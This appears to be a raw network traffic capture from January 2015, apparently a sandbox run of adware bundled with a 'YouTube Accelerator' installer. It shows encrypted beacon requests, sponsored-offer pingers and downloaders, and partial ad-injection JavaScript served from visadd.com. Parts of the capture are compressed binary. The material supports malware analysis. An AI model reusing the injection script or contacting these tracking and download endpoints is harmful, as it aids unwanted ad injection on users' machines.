X-Amz-Cf-Id: ZZeGAboNcgVT_RspP7gZrkni2ax5mAXkyPFi5tcu5_-EmBZRYvI0CQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:18 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: ZZeGAboNcgVT_RspP7gZrkni2
ax5mAXkyPFi5tcu5_-EmBZRYvI0CQ==......

GET /p.ashx?e=R4rdFlCMSnTMZ3T6XmWM04h2bxJLWau2jA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bIvhLVO5thLx31fTgrR12XzvJgd3LZiESBQC drCF7eFW4i9HDfAHxSn58ZndcT3u/P8mddpznAd5QFz/uOguqr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:21 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GPLLOOnOXopFHZY1iYHfFD2O2-MHVBjmPfTIl663vjckOVqCRhNvxw==

....

GET /p.ashx?e=R4rdFlCMSnTMZ3T6XmWM04h2bxJLWau2jA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bIvhLVO5thLxk0XByrlXk6X5kdX02CrPjRD4NsK07Wi5s IILilpWF0zwh6 kBmZAgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EytIce5s8FF81chOYcrudrMzSxYDuj2QCktSecIz1dwIMKD_n5Y25Q==

....

GET /p.ashx?e=LCnUzM5l8JJqYAUAeKhUK4D1kQKaUTW/7OXLse4BafTbQC nVTu53h5TX6K4Kv02U2jXe/GUcK6Mll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PHy jFnzOS7HfKPuMdH9xkPEEkuF2XgxcjUHSVEfMSLUxRuA9/MBnbNSM0isR26F8c7K4ihqKSxe0jgb6v7cXpPuNe8em1vi5Zxi6nXHFmzl4UJIhz0JUpzEfEpjPND7Tv1lymoxCnxIEnEAdgXVAYeXdtg3DWeb/mmKMbeBEZouFREvhRSclP1rG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Sm86iO74s2DaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9Ao/5kNNwq9o HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:22 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DqFX57S1HkUJ-k5XVbJzB7NxxbzUEAEuXKPtG2OjoS--3LlLJOZn6g==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:22 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: DqFX57S1HkUJ-k5XVbJzB7Nxx
bzUEAEuXKPtG2OjoS--3LlLJOZn6g==......

GET /p.ashx?e=A3ANzFv7fWBPNjxRBLtb44DRoKLoui3g/WD6e6SZIIExLHUkaU066zsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYTpaUDUZgaqez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YM8Lp0Bjzny5jMJAB CbFgWNLVXkHqu5msQ8SvWqwsmfGywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS Yk9b 6RoE53p /A/u61jEcbQ9M/8hK0AHtznjR2TecyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUy2X6vNXTV2eMll/IR38 wACcu0oETLFm5GXXUq5RMIF0Z4SsLG0PH/YlhRdgav1g HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:30 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7f5f319a146555f96664f69ea399602d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DQ22hw-lqu-l5XCgLkZ8uO5i7CBb4GwIbhpfxodp9k8r3nipmU8czg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:30 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7f5f319a146555f96664f69ea39960
2d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: DQ22hw-lqu-l5XCgLkZ8uO5i7
CBb4GwIbhpfxodp9k8r3nipmU8czg==..

GET /script/14567725608/preload.js?subid=F17wsmtycl1-92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:40 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d73a56e2f380c51c9e804e167e30694901420623280; expires=Thu, 07-Jan-16 09:34:40 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"d51a55995f6011c286ff085dc5197b3327e81e8f"

Cache-Control: public, max-age=14400

CF-Cache-Status: MISS

Expires: Wed, 07 Jan 2015 13:34:40 GMT

Server: cloudflare-nginx

CF-RAY: 1a4f292fcfba15a7-FRA

Content-Encoding: gzip
bcd..............ks.6..~....T$...........I.7M...|...$......u..ow...(9I
../7.. .o..v...e.E2.....K.,.I.8..]'%.c...Y..,..$[..y.D.....-/d&.6g....
...G'.&.....@O.L..m...<.9..J.w.....a.#..N....y.....#~...g...4>&l
t;^.G.g\....,N..'.L.h....y....N=...]5L.g...yv6..L.M.mE...y.l.P..G..*..
2.D....^.....?.w.-.aU...x..N..|3N2)....E.GW"~q=?:."I<.....?X.....
..'.....H.Vs...(#...g......I"..8.9.I.ID.CT$[.X..A-.q.....G...HKq..<
....p..d/.7<..E...4).9.g.<_.b...X.... ...S......<........Kc..
.d..4N6.".......@......&.J."N8}MO'..............E.I....t)x..Q..D......
.%C*=Qk...Z[....`...s;......@..{...^\!..JSk....N...!..k%P.%.....I.~..e
.V....k .....8.=:>g.....lU...j$$...1.....k........L....T.7l.(~....L
c.b..[@....E...n..y..!......p&.a....E..3o .D.8..(q..a.$....X..~...m..q
..a...T....sT.E..K........#\........B63#......D..^8..Td .>.^.$k..K.
BV.1.b..-.K._.....Z.....d.e^..n.=.>S.. *. .sr$......8ogY-..a.R).&..
f?.....\L.!..hzI..H^.q|...y.`...A\...pf..L.n.fZ....B.)...S..P>8....
B...h.....&.....V.?.k...J#..a.4...2)"..a.....y|..[.#...,~.N.8P.(......
..s%jg(_.}........<Fi.!....V.Q..lk...a.z.=.....ZDWo(......Gp^.8.T..
)....e.K....D.j<...X....I.v.Jl..E.B....F..y)..c...B...wss3..Sg*....
.D..3.Ra.....F........8.:.a...1...r-..8..t..*"H..6c..~.%.f....*|..$...
..y.x3o`p..7.@..6.dQ..)..G.G..........sF..4...$.......v..Q'....%.~.G#4
.Dl.......CkM..y....N&...h2.....'...'....|....J..:.3 1..i%..6.w..m9...
.......t..w.D. xL...F....G3.s.?.NUTHT:KC.a^....`.f7..3.....)<......
.7..e....?(.....z(D..!.....KH...fm...rse/...{.[.M..?e...)@..c.D.A?<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=4&index_in_screen=1&index_in_session=4&0.28091281110117694 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:03 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:03 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /dealdo/shoppingjs4?b=Chy9mZaMDhnSptaMzgf0yt0Ln0iLmJjOmxmLmJiLm0eLnuiLmJjuAgfUAYuYmhLVDsuYmgzVCIuYmgLUC3rHBgXPBMCLmJbzB3vuDwjLjtiWqwnJzwXLCMf0B3iLmJiLnuqLmKmLmJj0AxrSzsuYmIuZqsuYmLrOyw5RjtiWEw91jtiWzM9YjtiWsw5ZDgfSBgLUzYuYmfLVDvr1yMuLmJbby2nLBgvYyxrVCIuYmIuYqYuYmMrVBwfPBIuYmIuZqsuYmND3DY55B3v0DwjLywnJzwXLCMf0B3iUy29TjtiYjtjdjtiYDxjSjtiYjtnbjtiYAhr0CcuZqsuYrIuYrND3DY55B3v0DwjLywnJzwXLCMf0B3iUy29TjtjgzMLUAxnOAw5ZDgfSBcuYrIuZrLzbx1yLm0qZlJmUos40jti2vKfFqwzMjtneC210EwnSmv8WxZbFmf8WjtjdotjHogfKndyTyMm4zc00zMqYltLHztGTodvIntqXnwu5zwvJjtjdjti2vKfFyNiLm0rot05fjti2vKfFyxnRjtnetK9orsuYnLzbx0jLDgeLm0qWjti2vKfFtw9KzsuZrdmLmJzwqv9pu1zLCIuZrfDPBMrVD3nFnYuYnLzbx0LZq29UBMvJDgvKjtnemsuYnLzbx3nYyYuZrdeLmJzWCIuZrdeLmJzuu0KLm0q4mYuYnKj1BMrSzuLejtnetK9orsuYmIuYqYuYmMnHBIuYmIuZqsuYmMH0DhaLm0eLmKyLmKz3D3CUEw91DhvIzwfJy2vSzxjHDg9YlMnVBsuYrMzPBMLZAgLUC3rHBgWLmKyLmJiLmKmLmJjLBMmLmJiLm0eLmJj1DgyTocuYmIuYqYuYmNDUyw1LjtiYjtnbjtiYmtCZmdKZntGLmJiLmKmLmJjPC0nVBvGLmJiLm0eLmJjpsYuZqwrLzJaLmJiLmKmLmJjKCfnLC3nPB25jzcuYmIuZqsuYmJe0mJa2mJmYnJK4ota3mJy3jtiYjtjdjtiYrgvHBfbSEsuYmIuZqsuYmM50DNf6CNDXDIuYmIuYqYuYmMrTBIuYmIuZqsuYmNLVDxr1yMvHy2nLBgvYyxrVCI5JB20LmJiLmKmLmJjMAxjZDfrPBwuLmJiLm0eLmJjMywXZzsuYmIu3rczJBhy9mtqXotm1mtC4nZG1mIzXBt0WjMnIptG5mszWyxj0BMvYpxnIAxrPBIzOCMq9otjHogfKndyTyMm4zc00zMqYltLHztGTodvIntqXnwu5zwvJjMHYzhnYyZ0MDMvOAwnSzt0My2HHBM5LBd1ZyML0Aw5PrJe3D0PtC210EwnSjNnZzxq9nYzHChb0pvnOB3bWzxjqCM8MAxr5Cgu9AszLEhq9x18MDha9BNvSBcz2CJ0MBhrPBwu9mtqYmdyYmZi2otG5mszKB209C2jPDgLUANmUAw5MBYzZzwXMps4Mzg9TCMvMzxjYzxi9jNbSAw5RpszOBgLUAZ0MAw5ZDgDYCd
HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:51 GMT

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Server: Apache-Coyote/1.1

Set-Cookie: sbrtsg7=2; Domain=.sbitinjs.info; Expires=Mon, 06-Jul-2015 09:34:51 GMT; Path=/

Set-Cookie: sbrtta0=false; Domain=.sbitinjs.info; Expires=Mon, 06-Jul-2015 09:34:51 GMT; Path=/

X-Reason: FBWL

Content-Length: 23

Connection: keep-alive
dpPopulate('{"r":"g"}')HTTP/1.1 200 OK..Date: Wed, 07 Jan 2015 09:34:5
1 GMT..P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS O
UR IND CNT"..Server: Apache-Coyote/1.1..Set-Cookie: sbrtsg7=2; Domain=
.sbitinjs.info; Expires=Mon, 06-Jul-2015 09:34:51 GMT; Path=/..Set-Coo
kie: sbrtta0=false; Domain=.sbitinjs.info; Expires=Mon, 06-Jul-2015 09
:34:51 GMT; Path=/..X-Reason: FBWL..Content-Length: 23..Connection: ke
ep-alive..dpPopulate('{"r":"g"}')..

GET /app/ping.ashx?e=QHucCbLl /bcrHBJLG9UX1Kl9avhKFDd62ls PLHCLDT03ZwnpMmri4u 59fITlqZYykKzv0Y5pOzBB1YFiFDi7au8zDkX8X4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjFx1x5aBaFiG9r3eipYablJaA6bIp4wLuBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGUgPiYgL5hQXHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qxojVXrHm4EUETzTZ4WWsKIRGtI/B VPIX HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:54 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:34:54 GMT..Content-Length: 0..

GET /script/layer?pid=14567725608&ln=en HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:41 GMT

Content-Type: application/javascript

Content-Length: 123264

Vary: Accept-Encoding

Etag: "b3c99c07bfbebae34442b48264d3715514c9f9fb"

Cache-Control: public, max-age=3600

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.String.prototype.startsWith = function(str).{return (th
is.match("^" str)==str)}.if (!("classList" in document.documentElement
) && Object.defineProperty && typeof HTMLElement !== 'undefined') {.Ob
ject.defineProperty(HTMLElement.prototype, 'classList', {.get: functio
n() {.var self = this;.function update(fn) {.return function(value) {.
var classes = self.className.split(/\s /),.index = classes.indexOf(val
ue);.fn(classes, index, value);.self.className = classes.join(" ");.}.
}.var ret = {.add: update(function(classes, index, value) {.~index || 
classes.push(value);.}),.remove: update(function(classes, index) {.~in
dex && classes.splice(index, 1);.}),.toggle: update(function(classes, 
index, value) {.~index ? classes.splice(index, 1) : classes.push(value
);.}),.contains: function(value) {.return !!~self.className.split(/\s 
/).indexOf(value);.},.item: function(i) {.return self.className.split(
/\s /)[i] || null;.}.};.Object.defineProperty(ret, 'length', {.get: fu
nction() {.return self.className.split(/\s /).length;.}.});.return ret
;.}.});.}.if (!("watch" in document.documentElement) && Object.defineP
roperty && typeof HTMLElement !== 'undefined') {.Object.defineProperty
(HTMLElement.prototype, "watch", {.enumerable: false., configurable: t
rue., writable: false., value: function (prop, handler) {.var.oldval =
 this[prop]., newval = oldval., getter = function () {.return newval;.
}., setter = function (val) {.oldval = newval;.return newval = handler
.call(this, prop, oldval, val);.}.;.if (delete this[prop]) { // ca<<< skipped >>>

GET /script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.7720672379826277&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&dm=VVV.youtubeaccelerator.com&subid=F17wsmtycl1-92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&um=Powered by Shopper-Pro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:34:42 GMT

Content-Type: application/javascript

Content-Length: 16571

Vary: Accept-Encoding

Etag: "c1cc7e4203e309f86ee9e5b8eeeb02a1a002644f"

Cache-Control: public, max-age=360

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

Set-Cookie: visadd_gry_lock_count=--; Path=/

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.visadd.texts = {.flip_back: 'Flip Back'.}.visadd.settin
gs = {.monitor_url_change: false,strip_max_images: -1,lock_count_time:
 3600000,shopping_agresive: false,validate_blacklist: true,layer_style
: '.img.visadd_indic{    height: 35px;    position: absolute;    left:
 5px;    top: 5px;    width: auto;    z-index: 999;    background: non
e repeat scroll 0 0 transparent !important;    border: 0 none !importa
nt;    box-shadow: none !important; }\....indic_hover_only { display:n
one }\....indic_hover_only: hover { display:block }\....visadd_layer {
 display: none;  position: absolute; z-index: 2147483647; }\....visadd
_image_container{    float: left;.margin: 0 10px 0px 0 !important;    
height: auto;    overflow: hidden;} \....ab_visadd_image_container{   
 float: right !important; .margin: 0 !important;    } \....right_visad
d_image_container{    float: right !important; .margin: 0 0 0 10px !im
portant; } \....ab_visadd_image_wrap{    float: left;.margin: 0 10px 2
px 0 !important;    max-height: 200px;    height: auto;    overflow: h
idden;    position: relative;}\....ab_visadd_image_wrap img {.padding:
 0 !important;.border: none !important; margin: 0 !important; }\....vi
sadd_image_credit { .width: 100%;.z-index: 999;.margin-top: 3px;}\....
visadd_image_credit a:hover{    color: #ccc;    display: block;    fon
t-size: 11px;    text-align: center;    text-decoration: none;    floa
t:left;    padding-right: 10px;       text-shadow: 1px 1px 1px #e1e1e1
;}\....visadd_image_credit a{    color: #ccc;    display: block;  <<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?97ed576c83f91dc5 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT

If-None-Match: "0b96c77303ecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Fri, 12 Sep 2014 18:47:05 GMT

Accept-Ranges: bytes

ETag: "805a83f2b9cecf1:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By: ARR/2.5

X-Powered-By: ASP.NET

Content-Length: 56928

Date: Wed, 07 Jan 2015 09:35:13 GMT

Connection: keep-alive
MSCF....`.......,...................I.................,E.Y .authroot.s
tl..Y-..8..CK...<T...g.v!M.d..f.%d..}K..5..F. ...T..%.,YJ.,!T......
_..x.<=O.....yy....;3..>.|..~..\.....|......;..8..~.za...."A...q
.......g..m......<X........j"I........!..-w.....w....P...H..(.?}..2
.N. .u..a. ...=.C..D.F>rC.. ..|).=.. ..3b.8H.M...(...u8.%...W.g...\
YB.m:.....dE.........V....$....Dn:....0...S."...o..q.....K...I..K...(x
%....>A.R...`.0 .........<`L0mp...%....y.....g.n...R0Op..<..,
....`0$z.@..&.x"....T..H...<........~..E..".....<<.\B(.......
..............@.....L.........KNAy8/"...f.......k..Jm7j....R.5q....Rz.
.!@...].......Y.[........4.. .D8..&...t.J^O..Q.._..1.J.m5<'k.,....%
T....i.\.;.;q..S./ 8.?Bu.............}D.Q....L....*..[.."e......15m...
_.0.M........#..v!..<...@..?sc.y....*.....tX[........{.W4.Q...^u@..
*..QP.......~.L9N....2r...4.....B..-\(...b.d...K...O.8..Un.......V.<
;.......A...V.....(..s..f..q.{N0.hS.,..;M.|G|.@.M.._.....7._6...C.0...
A;L....%...M=Y.....f.JV.(.5.....0..?*...KZ....jM...8.6U...#...ew.?..?.
..........WE.Or..O>..{.'W2.........3m.O.u..Z8....H4@.w}.o:?~....]&l
t;!...%....}@.d...L.p.a.g ..K."..N1!%..S.bT.H.-.....e..`.0$...0t..DX..
{.....#./...8.5..M...T.......D......V\C.zy.....3E:..>.{..).QW......
q....9..n..1....8%,.........r.p@.>. ...Q.?.p..7.?..7...&..!........
.`. .=....Sf..q.l.A.....L...t.}g..;...f....=.e.~.z....C..*R....H-..=..
.f..(t'.."....F...g._....n.J..U.4vr`}.....1..o@.....@.#...R. L8....z..
].|......3..y..-./....K..6{...s.<R`.}6....?.......-..@.g..S....<<< skipped >>>

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Connection: close

Date: Wed, 07 Jan 2015 09:33:27 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=iu4uyr55ojj1ilz5use5lq45; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<USER>.<ID>f6dda681-fa4f-42bc-ac88-b4c5b9e6
ab45</ID>.<PW>isoNOAtn</PW>.</USER>.</RESUL
T>...

GET /downloader/network_adworkmedia_1/7zipqjkz/c6f37ce09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f37ce09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N.....Nw.2........I..... .....KD...g.O
v....B..e;...L[.P.*.r......N.....q........,N..W.qg.-.Fr....".......<
;.'..b..KQ..>.v............6......o.OJu..|..F..D*.n....<.}......
....i....<..7...p.u.d.... .....'.i......f.";.M._..x....E..,.....]N.
.W.&.u......0........R..K{.o...'.. ......h}g>.,>...d>Z....`IU
...c,..l.O~../.Kzz....yt........m.}.....d.....<..............0...=Y
.;N..P.6.................k^gK.X.:Tx....y....x.MR<t.......0.LG)6....
}..X......M.......N..Y.-a...<..2..|...?....]..G..`..Od.....x..:.dk.
/...x....l.sG.w.......I>IF....bT....f.X.d.......m....t.......A>.
8.F&..d0...I:.0.M..$..'...........|t..r.....h8.N>.c.^,G.|[.7.s.A...
......68....h.}.4..............wm...j..?}..$...,.....N....{.0........@
...#.N....HV..).,....f.Q.b..:....>1..,...8...Np..'..$ESv]k.v..B..z.
S....ka.<.....1...X..$.)-...l.....d>...c.v...........?.e/..._...
.!........Nn.9H.;...W<............n....U.Q.......q.~...`yq9f|..S...
t,..s;.n......0..u... ~...=..........3,..//...{_..{_..{._.y,.j?.......
qx...{.k..~.....bv.|..^S...n....{.)_......W....\...b=s......].........
<>...{......K.2.....1..,....(.........K.(...g.....~<..FX<.
.....8..*...e..9b^. S.o.J...{..........4..........q.....,[,g....z.=k]^
.c../...-G..18.,-....%[H....6_4.N.....]...l.T...dw..(......v..........
.=..=...0;.,'_QX...H...ixXm.R...Z...@.~ZkQ.)..>.N..2.SX...X[.,.U...
....VJ..l....{......f.MD..J4.jQ.W..I!t[?'......:....8..r...~....^....:
